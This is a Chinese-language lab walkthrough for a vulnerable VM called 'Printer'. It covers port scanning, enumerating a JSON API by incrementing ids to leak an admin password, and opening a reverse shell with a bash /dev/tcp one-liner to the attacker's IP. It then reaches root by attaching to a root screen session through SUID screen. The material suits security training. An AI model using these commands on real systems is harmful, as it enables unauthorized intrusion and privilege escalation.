# 靶场搭建

下载:Printer

Nat,IP: 192.168.1.142

# 渗透过程

# 信息初收集

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Konica Minolta Printer Admin Panel
|     Password:
|   NULL: 
|_    Konica Minolta Printer Admin Panel

80 端口目录收集找到了 http://192.168.1.142/api/printers/

进去后发现格式要求,我们构造一个试试: http://192.168.1.142/api/printers/printer1.json

返回了密码,那我们直接枚举,递增 id 去找回复的密码

得到 id1599 的密码: $3cUr3Pr1nT3RP4ZZw0rD

nc 到 9999 端口上输入密码,获取命令执行权限: exec bash -c "bash -i >& /dev/tcp/192.168.1.129/4444 0>&1"

拿到了反弹的 shell

# 提权

screen 有 suid,那么我们看一样相关的东西。进程里面有一个 shell 命令,用来挂起一个名为 root 的会话

我们直接用 screen 切过去: screen -x root/ 得到了 root 的 shell

# 小结

while true; do
    sleep 1
    find /var/run/screen/S-root/ -empty -exec screen -dmS root \;
done

这条命令是一个无限循环,每次循环执行以下操作:

  1. sleep 1 :让程序暂停 1 秒钟。
  2. find /var/run/screen/S-root/ -empty -exec screen -dmS root \; :在 /var/run/screen/S-root/ 目录下查找空的文件,并且针对每个找到的空文件执行 screen -dmS root 命令。

这条命令的作用看起来是在不断地监视 /var/run/screen/S-root/ 目录下的空文件,并且在发现空文件时使用 screen 命令创建一个名为 "root" 的会话。这种用法可能是为了监控某些进程或者资源,并在需要时自动创建新的 screen 会话。